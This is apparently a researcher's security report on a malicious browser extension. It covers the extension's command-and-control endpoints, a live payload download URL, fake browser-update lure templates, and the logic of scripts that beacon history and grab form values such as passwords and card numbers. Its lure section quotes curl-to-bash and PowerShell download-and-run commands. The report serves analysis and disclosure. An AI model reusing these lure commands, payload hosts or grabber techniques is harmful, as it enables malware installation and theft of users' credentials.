Complete Security Report
Complete Security Report
Generated: 2026-03-07
Target extension ID: gengfhhkjekmlejbhmmopegofnoifnjp
1) Endpoint Enumeration and Data Available via Self-Registered UUID
1.1 Endpoint families discovered in code
From background.js and callback scripts, the extension/backend communication surface is:
GET /extensions/setupGET /extensions/callbackGET /extensions/uninstall(used as uninstall URL)POST /extensions/finishGET /extensions/exe/get-update-dataGET /extensions/exe/{modal|bar}/can-showPOST /extensions/exe/{modal|bar}/show-later
1.2 Verified live behavior (active UUID)
Probe folder: investigation/probe-20260307-234815-1d4b0fa7
UUID: 1d4b0fa7-c150-4b55-bb3b-1ed4bb5a7632
| Endpoint | Method | Result | Data returned / accepted |
|---|---|---|---|
/extensions/setup |
GET | 200 |
{"success":true} |
/extensions/callback |
GET | 200 |
Returns JS task array (history/updater/grabber scripts) |
/extensions/exe/get-update-data |
GET | 200 |
mode:"file", payload URL: https://baysideceu.com/wp-content/uploads/googleupdate.exe |
/extensions/exe/modal/can-show |
GET | 200 |
{"success":true,"message":"modal can be shown"...} |
/extensions/exe/bar/can-show |
GET | 200 |
{"success":true,"message":"bar can be shown"...} |
/extensions/exe/modal/show-later |
POST | 200 |
nextShowAt, delayHours:1 |
/extensions/exe/bar/show-later |
POST | 200 |
nextShowAt, delayHours:1 |
/extensions/finish?task_id=64067 |
POST | 200 |
{"success":true} |
/extensions/finish?task_id=64068 |
POST | 200 |
{"success":true} |
/extensions/finish?task_id=64069 |
POST | 200 |
{"success":true} |
1.3 Verified behavior after uninstall state
Probe folder: investigation/probe-20260307-233702-b3928423
UUID: b3928423-3198-494a-9630-6894921545ca
After /extensions/uninstall, finishing tasks returns bot-uninstalled errors:
12_finish_64064_retest.txt13_finish_64065_retest.txt14_finish_64066_retest.txt
Observed response pattern:
statusCode: 400error: BOT_UNINSTALLED- message:
Bot is marked as uninstalled
1.4 Original victim UUID behavior
Original UUID: xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
From saved evidence:
/extensions/callback=>Bot is uninstalled(400)/extensions/exe/modal/can-showand/extensions/exe/bar/can-show=>BOT_UNINSTALLED/extensions/exe/get-update-datastill returned active payload URL (200)
2) Fake Update HTML Templates (Social Engineering Content)
Templates fetched from https://ggl.lat and saved in:
investigation/probe-20260307-233702-b3928423/ggl_templates/
Available templates captured:
chrome_update.htmlchrome_modal.htmlchrome_bar.htmledge_update.htmledge_modal.htmlopera_update.htmlopera_modal.html
Failed endpoints at capture time:
edge/bar->500 Internal Server Erroropera/bar->500 Internal Server Error
2.1 Notable lure/pressure content
From chrome_modal.html:
- “Update required”
- “…further attempts to access websites are blocked.”
From chrome_bar.html:
- “Update to keep using Chrome after …”
- “Important Chrome Update”
- “Warning: Critical Update Required”
- CTA buttons: “Update now”, “Later”, “Learn more”
From chrome_update.html:
- “Copy update code” workflow
- Injected command examples include:
sudo bash -c "$(curl -fsSL https://update.chrome.google.com/install)"powershell -Command "Invoke-WebRequest -Uri https://update.chrome.google.com/install.exe -OutFile chrome_update.exe; Start-Process chrome_update.exe"
3) Callback File Function-by-Function Analysis
Analyzed files:
investigation/callback_scripts/1-superior-history.jsinvestigation/callback_scripts/2-superior-updater.jsinvestigation/callback_scripts/3-superior-grabber.js
3.1 1-superior-history.js
mark()- Prevents duplicate execution by checking/creating a DOM marker with id
superior-history.
- Prevents duplicate execution by checking/creating a DOM marker with id
- Async IIFE
- Calls
mark(); exits if already injected. - POSTs to
/extensions/finish?uuid=...&task_id=...with JSON:action: "History"- current page
url - page
title name: "browser_history"
- Errors are silently swallowed.
- Calls
Net effect: single fire-and-forget beacon with page URL/title tagged as history action.
3.2 2-superior-updater.js
getPlatform()- Maps
navigator.platformtoMACOS|WINDOWS|LINUX|unknown.
- Maps
detectBrowser()- UA parsing for
chrome|edge|opera|firefox|safari; throws on unsupported.
- UA parsing for
waitForElement(selector, timeout)- MutationObserver wait helper for DOM id; rejects on timeout.
renderHTML(htmlText, targetElementId, options)- Parses fetched HTML and injects it into target container or replaces full page.
- Copies
<style>/<link rel=stylesheet>into page, avoiding duplicates. - Clones/inserts scripts and retries
initAppblocks. - Modal mode adjusts overlay z-index and pointer behavior.
canShow(component)- GET
/extensions/exe/{component}/can-show(modal/bar).
- GET
getUpdateData()- GET
/extensions/exe/get-update-data; returns JSON used as behavior config.
- GET
showLater(component)- POST
/extensions/exe/{component}/show-later.
- POST
finish()- POST
/extensions/finish?uuid=...&task_id=...&platform=....
- POST
loadContent(component, params)- Fetches remote HTML from
https://ggl.lat/{browser}/{component}/.
- Fetches remote HTML from
injectPage()- Loads update config + update template and binds action handlers.
setupEventHandlers(updateData)mode=file: clicking update button downloads backend-provided payload URL, then callsfinish().mode=command: copies backend-provided command to clipboard, then callsfinish().
injectModal()- Checks
can-show, loads modal template, injects full-screen modal.
- Checks
setupModalEventHandlers()- Close ->
showLater('modal')and remove modal. - Update -> redirect to official browser update page URL.
- Close ->
injectBar()- Checks
can-show, injects top bar template, adjusts body top padding.
- Checks
setupBarEventHandlers()- Handles learn-more, update-now, later flows; later flow POSTs
showLater('bar').
- Handles learn-more, update-now, later flows; later flow POSTs
runInjection()- Decides whether to inject update page vs modal+bar by current URL matching.
- Final IIFE init block
- Debounced bootstrap, listens to
popstate/hashchange, and reinjects if marker removed.
- Debounced bootstrap, listens to
Console output behavior in this file:
- Uses
console.log,console.warn,console.errorin multiple flows.
3.3 3-superior-grabber.js
ALLOWED_INPUTS- Large keyword list for likely sensitive fields (email/phone/name/password/card/address/token/ssn/etc).
debugLog(message, data)- Wrapper around
console.logwith[superior-grabber]tag.
- Wrapper around
grab(e)- Reads target input value, dedupes by raw value (
sentValuesSet), and POSTs full captured value via/extensions/finish?...task_id=.... - Payload includes URL, title, element name/id/type, full value, timestamp.
- Reads target input value, dedupes by raw value (
isVisible(elem)- Visibility filter (
display/visibility/opacity/offsetParent).
- Visibility filter (
shouldGrabInput(input)- Matches field name/id/type/placeholder against
ALLOWED_INPUTS; requires value length >=2.
- Matches field name/id/type/placeholder against
attachListeners(input)- Adds delayed handlers for
input/change/blur/focusto callgrabwhen predicate matches.
- Adds delayed handlers for
checkExistingInputs()- Scans existing inputs/select/textarea, attaches handlers, and submits prefilled visible matching values.
setupMutationObserver()- Watches added DOM nodes and hooks new form elements dynamically.
initGrabberIIFE- Runs initial scan after DOM ready, sets observer, and on
mousemovedoes periodic rescans to submit matching values.
- Runs initial scan after DOM ready, sets observer, and on
Console output behavior in this file:
- Extensive console logging through
debugLogplus error logging.
4) Practical Reporting Takeaways
- Backend control is task-driven:
/callbacksupplies executable JS with per-bot UUID and task IDs. - Remote content (
ggl.lat) provides browser-themed social-engineering UI and command/download prompts. /finishis used as collection/completion sink and accepts task-labeled payloads when bot is active.grabberlogic captures filled form values for many sensitive field classes.
5) Evidence Index
Primary evidence directories:
investigation/probe-20260307-233702-b3928423investigation/probe-20260307-234815-1d4b0fa7investigation/callback_scriptsinvestigation/REPORT_SUMMARY.mdinvestigation/EVIDENCE_TIMELINE.md